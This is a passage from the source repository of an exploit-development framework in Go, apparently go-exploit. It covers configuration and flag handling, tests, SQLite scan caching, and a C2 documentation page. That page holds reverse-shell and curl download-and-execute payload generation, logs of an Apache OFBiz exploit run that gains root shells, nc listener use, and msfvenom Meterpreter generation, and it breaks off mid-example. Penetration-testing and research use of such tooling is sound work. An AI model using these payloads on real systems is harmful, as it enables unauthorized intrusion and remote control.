	// target port, the target port the exploit will work on
	Rport int
	// a list of specific targets
	RhostsNTuple []RhostTriplet
	// local host for remote exploits
	Lhost string
	// local port
	Lport int
	// bind port
	Bport int
	// indicates if the framework should autodetect ssl/plain
	DetermineSSL bool
	// indicates if ssl is used in comms
	SSL bool
	// indicates if we run the target verify
	DoVerify bool
	// indicates if we run the version check
	DoVersionCheck bool
	// indicates if we run the exploit
	DoExploit bool
	// automatically start the c2 or not
	C2AutoStart bool
	// the user requested c2 to use
	C2Type c2.Impl
	// C2 server timeout
	C2Timeout int
	// Indicates if the c2 server will be handled elsewhere
	ThirdPartyC2Server bool
	// The database we are working with
	DBName string
	// File format template
	FileTemplateData string
	// File format exploit output
	FileFormatFilePath string
}

// Convert ExploitType to String.
func (eType ExploitType) String() string {
	switch eType {
	case CodeExecution:
		return "CodeExecution"
	case InformationDisclosure:
		return "InformationDisclosure"
	case Webshell:
		return "Webshell"
	case FileFormat:
		return "FileFormat"
	case Local:
		return "Local"
	default:
		return "Invalid exploit type"
	}
}

// Deprecated: New does not affectively describe the affected/targeted product. Use NewRemoteExploit.
func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve string, defaultPort int) *Config {
	returnVal := new(Config)
	returnVal.ExType = extype
	returnVal.SupportedC2 = supportedC2
	returnVal.Product = product
	returnVal.CVE = cve
	returnVal.Rport = defaultPort
	returnVal.PayloadFlags = false

	return returnVal
}

// Deprecated: NewLocal does not affectively describe the affected/targeted product. Use NewLocalExploit.
func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string, cve string) *Config {
	returnVal := new(Config)
	returnVal.ExType = extype
	returnVal.SupportedC2 = supportedC2
	returnVal.Product = product
	returnVal.CVE = cve
	returnVal.PayloadFlags = false

	return returnVal
}

// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:
//
//	conf := config.NewRemoteExploit(
//	  config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
//	  config.CodeExecution, []c2.Impl{c2.SimpleShellServer},
//	  "Atlassian", []string{"Confluence"}, []string{"cpe:2.3:a:atlassian:confluence"},
//	  "CVE-2023-22527", "HTTP", 8090)
func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,
	product []string, cpe []string, cve string, protocol string, defaultPort int,
) *Config {
	newConf := new(Config)
	newConf.Product = deDupeProductName(product, vendor)
	newConf.InitFlagsStructs()
	newConf.Impl = implemented
	newConf.ExType = extype
	newConf.SupportedC2 = supportedC2
	newConf.Vendor = vendor
	newConf.Products = product
	newConf.C2AutoStart = true
	newConf.CPE = cpe
	newConf.CVE = cve
	newConf.Protocol = protocol
	newConf.Rport = defaultPort
	newConf.PayloadFlags = false

	return newConf
}

func deDupeProductName(product []string, vendor string) string {
	joinedProducts := strings.Join(product, "/")
	if joinedProducts == vendor {
		return vendor
	}

	return fmt.Sprintf("%s %s", vendor, joinedProducts)
}

// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:.
func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,
	product []string, cpe []string, cve string,
) *Config {
	newConf := new(Config)
	newConf.Product = deDupeProductName(product, vendor)
	newConf.InitFlagsStructs()
	newConf.Impl = implemented
	newConf.ExType = extype
	newConf.SupportedC2 = supportedC2
	newConf.Vendor = vendor
	newConf.Products = product
	newConf.C2AutoStart = true
	newConf.CPE = cpe
	newConf.CVE = cve
	newConf.PayloadFlags = false

	return newConf
}

func (conf *Config) InitFlagsStructs() {
	conf.StringFlagsMap = make(map[string]*string)
	conf.IntFlagsMap = make(map[string]*int)
	conf.UintFlagsMap = make(map[string]*uint)
	conf.BoolFlagsMap = make(map[string]*bool)
}

// Create a command line flag for the string var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateStringFlag(name string, value string, usage string) {
	valuePtr := &value
	_, exists := conf.StringFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	conf.StringFlagsMap[name] = valuePtr
	flag.StringVar(conf.StringFlagsMap[name], name, value, usage)
}

// Create a command line flag for the string var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateStringVarFlag(param *string, name string, value string, usage string) {
	_, exists := conf.StringFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	conf.StringFlagsMap[name] = param
	flag.StringVar(param, name, value, usage)
}

// Create a command line flag for the uint var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateUintFlag(name string, value uint, usage string) {
	_, exists := conf.UintFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	valuePtr := &value
	conf.UintFlagsMap[name] = valuePtr
	flag.UintVar(conf.UintFlagsMap[name], name, value, usage)
}

// Create a command line flag for the uint var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateUintVarFlag(param *uint, name string, value uint, usage string) {
	_, exists := conf.UintFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	conf.UintFlagsMap[name] = param
	flag.UintVar(param, name, value, usage)
}

// Create a command line flag for the int var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateIntFlag(name string, value int, usage string) {
	_, exists := conf.IntFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	valuePtr := &value
	conf.IntFlagsMap[name] = valuePtr
	flag.IntVar(conf.IntFlagsMap[name], name, value, usage)
}

// Create a command line flag for the int var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateIntVarFlag(param *int, name string, value int, usage string) {
	_, exists := conf.IntFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	conf.IntFlagsMap[name] = param
	flag.IntVar(param, name, value, usage)
}

// Create a command line flag for the bool var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateBoolFlag(name string, value bool, usage string) {
	_, exists := conf.BoolFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	valuePtr := &value
	conf.BoolFlagsMap[name] = valuePtr
	flag.BoolVar(conf.BoolFlagsMap[name], name, value, usage)
}

// Create a command line flag for the bool var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateBoolVarFlag(param *bool, name string, value bool, usage string) {
	_, exists := conf.BoolFlagsMap[name]
	if exists {
		output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
	}
	conf.BoolFlagsMap[name] = param
	flag.BoolVar(param, name, value, usage)
}

// Fetch the configured string value for "name".
func (conf *Config) GetStringFlag(name string) string {
	value, ok := conf.StringFlagsMap[name]
	if !ok {
		output.PrintfFrameworkError("Requested invalid flag: %s", name)

		return ""
	}

	return *value
}

// Fetch the configured uint value for "name".
func (conf *Config) GetUintFlag(name string) uint {
	value, ok := conf.UintFlagsMap[name]
	if !ok {
		output.PrintfFrameworkError("Requested invalid flag: %s", name)

		return 0
	}

	return *value
}

// Fetch the configured uint value for "name".
func (conf *Config) GetIntFlag(name string) int {
	value, ok := conf.IntFlagsMap[name]
	if !ok {
		output.PrintfFrameworkError("Requested invalid flag: %s", name)

		return 0
	}

	return *value
}

// Fetch the configured uint value for "name".
func (conf *Config) GetBoolFlag(name string) bool {
	value, ok := conf.BoolFlagsMap[name]
	if !ok {
		output.PrintfFrameworkError("Requested invalid flag: %s", name)

		return false
	}

	return *value
}

// Apply the configuration settings to a Go text template. This will take
// the `Config` struct and apply it to a `text/template`, allowing for
// strings to be built directly from the already set configuration
// variables.
//
//	s := conf.ApplyTemplate(`CVE: {{.CVE}} - {{.Product}}`)
//	output.PrintStatus(s) // Output: CVE: CVE-2024-1337 - OFBiz
//
// Flags that are user defined with CreateStringFlag and other types are
// directly accessible from their map values, for example if a command line
// argument is added with conf.CreateStringFlag("output", "do output",
// "instructions") it will be accessible via the following ApplyTemplate
// call:
//
//	conf.ApplyTemplate(`Output flag {{.StringFlagsMap.output}}`)
//
// This function only returns the processed string and if a templating
// error occurs the function emits a framework error and sets the string to
// an empty string. This makes it harder to process any dynamic content and
// properly catch errors, but simplifies the return value to only provide a
// string.
//
// This should not be used with potentially attacker controlled input.
//
// Some Config types might be complex and will require usage of range
// components of text/template, follow the package docs if necessary.
func (conf *Config) ApplyTemplate(name string) string {
	t, err := template.New("config-string-template").Parse(name)
	if err != nil {
		output.PrintfFrameworkError("Could not create template: %s", err.Error())

		return ""
	}
	var buf bytes.Buffer
	if err := t.Execute(&buf, conf); err != nil {
		output.PrintfFrameworkError("Could not apply template: %s", err.Error())

		return ""
	}

	return buf.String()
}

// Generate a URL from a path from the current configuration. This is a
// way of invoking protocol.GenerateURL for developer ergonomics during
// exploit development.
func (conf *Config) GenerateURL(path string) string {
	return protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, path)
}

// Disable automatic start of c2 servers. Manually starting is required after
// this function is called. This is useful when you have an exploit that
// may have multiple stages and you are guaranteed to not need the C2
// setup. An example is an exploit that needs to retrieve a CAPTCHA may not
// want to start up the C2 until the first stage is retrieved and the
// CAPTCHA is solved.
func (conf *Config) DisableC2Start() {
	conf.C2AutoStart = false
}

// Some C2 (ShellTunnel) don't actually care how the payload is generated, but
// the underlying C2 might be implied depending on how the individual exploit
// has been developed. It is certainly not a requirement to call this function
// but it can help simplify the handling of secure shell vs insecure.
func (conf *Config) ResolveC2Payload() c2.Impl {
	if conf.C2Type != c2.ShellTunnel {
		return conf.C2Type
	}

	if shelltunnel.GetInstance().SSLShellServer {
		return c2.SSLShellServer
	}

	return c2.SimpleShellServer
}

// AddPayload provides hints to an exploit about types of payloads that are
// supported and then sets up payload command line flags to allow user defined
// payload options.
//
// By default adding support for a payload sets up payload flags. This allows
// an exploit to automatically gain support for custom commands or files for
// payloads. See payload.Supported for details about which payload type adds
// which flags.
//
// Basic usage of adding support for specific payloads can be seen below:
//
//	supportedPayload := []payload.Supported{
//		{
//			Types:   payload.GenericCommand,
//			Arch:    payload.None,
//			Effects: payload.NoEffects,
//			Default: true,
//		},
//		{
//			Types:   payload.LinuxELF,
//			Arch:    payload.AMD64,
//			Effects: payload.UnknownEffects,
//		},
//		{
//			Types:   payload.LinuxELF,
//			Arch:    payload.ARM64,
//			Effects: payload.Effects{
//				payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"},
//			},
//		},
//	}
//
//	conf := config.NewRemoteExploit(
//		config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},
//		config.CodeExecution, supportedC2,
//		"", []string{""},
//		[]string{""}, "CVE-2023-28324", "HTTP", 80)
//	conf.AddPayload(supportedPayload[:]...)
//
// Usage of payload supported options requires some modification to payload
// generation logic to check for a custom payload, similarly to selecting C2
// types. Below shows the payload selection type will automatically populate
// config.CustomPayload with the contents of the payload specific flag:
//
//	switch conf.SelectedPayload.Types {
//	case payload.GenericCommand:
//		output.PrintfStatus("adding GenericCommand")
//		if conf.HasCustomPayload() {
//			output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload))
//		}
//		// continue with non-custom payload generation
//	case payload.LinuxELF:
//		output.PrintfStatus("adding LinuxELF")
//		if conf.HasCustomPayload() {
//			output.PrintfStatus("using binary len %d in place of default", len(conf.CustomPayload))
//		}
//		// continue with non-custom payload generation
//	}
//
// Alternatively, simple payloads can utilize the payload type options
// during payload generations to substitute in the custom payloads by using
// the type specific checks:
//
//	if conf.HasCustomPayload() {
//		if conf.SelectedPayload.Type.IsCommand() {
//			output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload))
//		} else {
//			output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload)))
//		}
//	}
func (conf *Config) AddPayload(p ...payload.Supported) {
	conf.PayloadFlags = true
	hasDefault := false
	for _, pl := range p {
		if pl.Default {
			if hasDefault {
				output.PrintFrameworkError("Cannot have multiple default payloads")

				return
			}
			conf.SelectedPayload = pl
			hasDefault = true
		}
		conf.SupportedPayloads = append(conf.SupportedPayloads, pl)
	}
}

// HasCustomPayload checks if the supported payload has a custom flag defined and the data is
// populated by the framework. This is useful for payload generation wanting to explicitly
// check for if a user has provided a payload.
func (conf *Config) HasCustomPayload() bool {
	if len(conf.SupportedPayloads) == 0 {
		return false
	}

	return len(conf.CustomPayload) > 0
}


================================================
FILE: config/config_test.go
================================================
package config_test

import (
	"strings"
	"testing"

	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
)

func TestDefaultFlags(t *testing.T) {
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
		[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)

	conf.CreateStringFlag("teststring1", "default!", "string usage")
	conf.CreateUintFlag("testuint1", 99, "uint usage")
	conf.CreateIntFlag("testint1", 300, "int usage")
	conf.CreateBoolFlag("testbool1", true, "bool usage")

	if conf.GetStringFlag("teststring1") != "default!" {
		t.Error("Unexpected GetStringFlag results")
	}
	if conf.GetStringFlag("wat") != "" {
		t.Error("Failed string lookup should default to empty string")
	}
	if conf.GetUintFlag("teststring1") != 0 {
		t.Error("Failed uint lookup should default to 0")
	}
	if conf.GetUintFlag("testuint1") != 99 {
		t.Error("Unexpected GetUintFlag results")
	}
	if conf.GetIntFlag("testint1") != 300 {
		t.Error("Unexpected GetIntFlag results")
	}
	if !conf.GetBoolFlag("testbool1") {
		t.Error("Unexpected GetBoolFlag results")
	}
}

func TestExternalDefaultFlags(t *testing.T) {
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
		[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)

	testString := "test"
	conf.CreateStringVarFlag(&testString, "teststring", "default!", "string usage")
	testUInt := uint(88)
	conf.CreateUintVarFlag(&testUInt, "testuint", 99, "uint usage")
	testInt := -88
	conf.CreateIntVarFlag(&testInt, "testint", 300, "int usage")
	testBool := true
	conf.CreateBoolVarFlag(&testBool, "testbool", true, "bool usage")

	if conf.GetStringFlag("teststring") != "default!" {
		t.Error("Unexpected GetStringFlag results")
	}
	if conf.GetStringFlag("wat") != "" {
		t.Error("Failed string lookup should default to empty string")
	}
	if conf.GetUintFlag("teststring") != 0 {
		t.Error("Failed uint lookup should default to 0")
	}
	if conf.GetUintFlag("testuint") != 99 {
		t.Error("Unexpected GetUintFlag results")
	}
	if conf.GetIntFlag("testint") != 300 {
		t.Error("Unexpected GetIntFlag results")
	}
	if !conf.GetBoolFlag("testbool") {
		t.Error("Unexpected GetBoolFlag results")
	}
}

func TestApplyTemplate(t *testing.T) {
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
		[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)

	conf.CreateStringFlag("teststring2", "default!", "string usage")
	conf.CreateUintFlag("testuint2", 99, "uint usage")
	conf.CreateIntFlag("testint2", 300, "int usage")
	conf.CreateBoolFlag("testbool2", true, "bool usage")

	s := conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}")
	if s == "" {
		t.Error("Template returned error")
	}
	s = conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}")
	if s == "" {
		t.Error("Template returned error")
	}

	if s != "CVE-2024-45507 default! 99 300 true" {
		t.Errorf("'%s' unexpected", s)
	}
}

func TestGenerateURL(t *testing.T) {
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
		[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)
	conf.Rhost = "127.13.37.1"
	conf.Rport = 31337
	conf.SSL = true

	if strings.Compare(conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`) != 0 {
		t.Errorf("GenerateURL did not generate expected HTTPS URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`)
	}
	conf.SSL = false
	if strings.Compare(conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`) != 0 {
		t.Errorf("GenerateURL did not generate expected HTTP URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`)
	}
}


================================================
FILE: db/create.go
================================================
// SQLite Caching and Cross-Exploit Database
//
// The db package contains the logic to handle a user provided SQLite DB in order
// to store results and cache HTTP responses. This has a few useful benefits:
//
//  1. When scanning with hundreds of go-exploit implementations, the user significantly
//     cuts down on network requests (therefore speeding up scanning), both from the
//     verified results being cached (you only have to verify a target is Confluence once)
//     and from the cached HTTP responses.
//  2. The result is a useful asset database containing IP, port, installed software, and
//     versions.
//  3. The database can be reused with a go-exploit and generate no network traffic (assuming
//     you aren't doing the exploitation stage). That is very interesting when, for example,
//     you wrote a version scanner for CVE-2024-31982, scanned a customer host that was patched,
//     but then CVE-2024-31983 is released the next day. You can essentially rescan the cached
//     version of their system with your new CVE scanner.
//
// Mostly this package should be totally transparent to users of the framework. The only direct
// interface, currently, should be calls to HTTPGetCache.
package db

import (
	"database/sql"
	"time"

	"github.com/vulncheck-oss/go-exploit/output"
	// pure go sqlite3 driver.
	_ "modernc.org/sqlite"
)

// GlobalSQLHandle is a handle to the SQLite DB for handling cross-exploit data sharing.
var GlobalSQLHandle *sql.DB

// GlobalHTTPRespCacheLimit is the maximum size of an HTTP body that we will attempt to cache.
var GlobalHTTPRespCacheLimit int

const (
	schemaVersion = "1.0.0"

	metadataTable     = `CREATE TABLE IF NOT EXISTS metadata (created INTEGER NOT NULL,schema_version TEXT NOT NULL);`
	initMetadataTable = `INSERT INTO metadata (created, schema_version) VALUES (?, ?)`
	checkMetadata     = `SELECT name FROM sqlite_master WHERE type ='table' = ? AND name='metadata`
	getSchemaVersion  = `SELECT schema_version FROM metadata;`

	verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` +
		`id INTEGER PRIMARY KEY AUTOINCREMENT,` +
		`created INTEGER NOT NULL,` +
		`software_name TEXT NOT NULL,` +
		`installed INTEGER NOT NULL CHECK (installed IN (0, 1)),` +
		`version TEXT NOT NULL,` +
		`rhost TEXT NOT NULL,` +
		`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535));`

	httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` +
		`id INTEGER PRIMARY KEY AUTOINCREMENT,` +
		`created INTEGER NOT NULL,` +
		`rhost TEXT NOT NULL,` +
		`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535),` +
		`uri TEXT NOT NULL,` +
		`data BLOB NOT NULL);`
)

func InitializeDB(name string) bool {
	GlobalSQLHandle = nil
	if len(name) == 0 {
		return true
	}

	handle, err := sql.Open("sqlite", name)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	if checkMetadataExists(handle) && !checkSchemaVersion(handle) {
		return false
	} else if !createMetadataTable(handle) {
		return false
	}

	if !createVerifiedSoftwareTable(handle) ||
		!createHTTPCacheTable(handle) {
		return false
	}

	GlobalSQLHandle = handle

	return true
}

func checkMetadataExists(handle *sql.DB) bool {
	name := ""
	err := handle.QueryRow(checkMetadata).Scan(&name)

	return err == nil
}

func createMetadataTable(handle *sql.DB) bool {
	_, err := handle.Exec(metadataTable)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	_, err = handle.Exec(initMetadataTable, time.Now().Unix(), schemaVersion)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	return true
}

func checkSchemaVersion(handle *sql.DB) bool {
	version := ""
	err := handle.QueryRow(getSchemaVersion).Scan(&version)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	if version != schemaVersion {
		output.PrintFrameworkError("Incompatible schema versions")

		return false
	}

	return true
}

func createVerifiedSoftwareTable(handle *sql.DB) bool {
	_, err := handle.Exec(verifiedTable)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	return true
}

func createHTTPCacheTable(handle *sql.DB) bool {
	// create the cache table
	_, err := handle.Exec(httpCacheTable)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	return true
}


================================================
FILE: db/get.go
================================================
package db

const (
	getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?`
	getInstalled = `SELECT installed FROM verified WHERE software_name = ? AND rhost = ? AND rport = ?`
)

// Look for an HTTP response in the db cache.
func GetHTTPResponse(rhost string, rport int, path string) (string, bool) {
	if GlobalSQLHandle == nil {
		return "", false
	}

	var retVal []byte
	err := GlobalSQLHandle.QueryRow(getCacheData, rhost, rport, path).Scan(&retVal)

	return string(retVal), err == nil
}

// Check the database to see if the target has been scanned for specific software. If so, return the result (so we don't do it again)
// Return is <db-value>,<ok>.
func GetVerified(product string, rhost string, rport int) (bool, bool) {
	if GlobalSQLHandle == nil {
		return false, false
	}

	retVal := false
	err := GlobalSQLHandle.QueryRow(getInstalled, product, rhost, rport).Scan(&retVal)

	return retVal, err == nil
}


================================================
FILE: db/update.go
================================================
package db

import (
	"time"

	"github.com/vulncheck-oss/go-exploit/output"
	// pure go sqlite3 driver.
	_ "modernc.org/sqlite"
)

const (
	verifiedUpsert = `INSERT INTO verified (id, created, software_name, installed, version, rhost, rport)` +
		`VALUES ((SELECT id FROM verified WHERE rhost = ? AND rport = ? AND software_name = ?), ?, ?, ?, ?, ?, ?)` +
		`ON CONFLICT(id) DO UPDATE SET ` +
		`software_name = excluded.software_name,` +
		`installed = excluded.installed,` +
		`rhost = excluded.rhost,` +
		`rport = excluded.rport,` +
		`version = excluded.version;`

	cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, data)` +
		`VALUES ((SELECT id FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?), ?, ?, ?, ?, ?)` +
		`ON CONFLICT(id) DO UPDATE SET ` +
		`rhost = excluded.rhost,` +
		`rport = excluded.rport,` +
		`uri = excluded.uri,` +
		`data = excluded.data;`
)

func UpdateVerified(software string, installed bool, version string, rhost string, rport int) bool {
	if GlobalSQLHandle == nil {
		return true
	}

	_, err := GlobalSQLHandle.Exec(verifiedUpsert, rhost, rport, software, time.Now().Unix(), software, installed, version, rhost, rport)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return false
	}

	return true
}

// Attempt to cache the provided HTTP httpResp in the database.
func CacheHTTPResponse(rhost string, rport int, path string, httpResp []byte) {
	if GlobalSQLHandle == nil {
		return
	}

	// only cache up to a user configurable size
	if len(httpResp) > GlobalHTTPRespCacheLimit {
		return
	}

	_, err := GlobalSQLHandle.Exec(cacheUpsert, rhost, rport, path, time.Now().Unix(), rhost, rport, path, httpResp)
	if err != nil {
		output.PrintfFrameworkError("Error during caching: %s", err.Error())

		return
	}
}


================================================
FILE: docs/c2.md
================================================
# Command & Control

## Supported C2

In `go-exploit`, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types:

1. *SimpleShellClient* - An unencrypted shell via a bind shell.
2. *SimpleShellServer* - An unencrypted shell via a reverse shell.
3. *SSLShellServer* - An encrypted shell via a reverse shell.
4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).
5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`.
6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.

`go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back."

## Implementing and Using C2 in an Exploit

A `go-exploit` configures available C2 in `main`. For example, if we look at the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go), we'll find the following:

```go
func main() {
	supportedC2 := []c2.Impl{
		c2.SSLShellServer,
		c2.SimpleShellServer,
		c2.HTTPServeFile,
	}
	}
	conf := config.New(config.CodeExecution, supportedC2, "Apache OFBiz", "CVE-2023-51467", 80)

	sploit := OFBizXML{}
	exploit.RunProgram(sploit, conf)
}
```

In the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, `c2.SSLShellServer` (an encrypted reverse shell) is the default payload. The exploit also supports `c2.SimpleShellServer` and `c2.HTTPServeFile`. To use the non-default c2, you simply need to inform the command line:

```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:50:27.070-05:00 level=STATUS msg="Starting listener on 10.9.49.78:1270"
time=2024-03-05T04:50:27.071-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49402"
time=2024-03-05T04:50:28.520-05:00 level=STATUS msg="Active shell from 10.9.49.88:49402"
id
uid=0(root) gid=0(root) groups=0(root)
```

While `go-exploit` comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) has the following function for defining the payload based on the c2 selected by the user:

```go
func generatePayload(conf *config.Config) (string, bool) {
	generated := ""

	switch conf.C2Type {
	case c2.SSLShellServer:
		output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true)
	case c2.SimpleShellServer:
		output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false)
	case c2.HTTPServeFile:
		output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
		curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
			httpservefile.GetInstance().TLS,
			httpservefile.GetInstance().GetRandomName(""))
		generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
	default:
		output.PrintError("Invalid payload")

		return generated, false
	}

	generated = b64.StdEncoding.EncodeToString([]byte(generated))

	return generated, true
}
```

## Using -o

Using the `-o` option means that you don't want `go-exploit` to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or "outside") program. For example, say I wanted to use `nc` to catch shells instead of my `go-exploit`. The go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) would do that like this:

```
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:57:12.546-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
```

The `nc` program listening on `10.9.49.78:1270` would receive the shell.

```
albinolobster@mournland:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.9.49.88 32866
id
uid=0(root) gid=0(root) groups=0(root)
```

## Using HTTPServeFile

The idea behind *HTTPServeFile* is to let the `go-exploit` serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? `go-exploit` solves this issue.

Again, let's revisit the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) which has an *HTTPServeFile* implementation. First, we need to generate a Meterpreter payload:

```sh
albinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes
Saved as: /tmp/meterpreter
```

Then we start a Meterpreter listener:

```sh
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
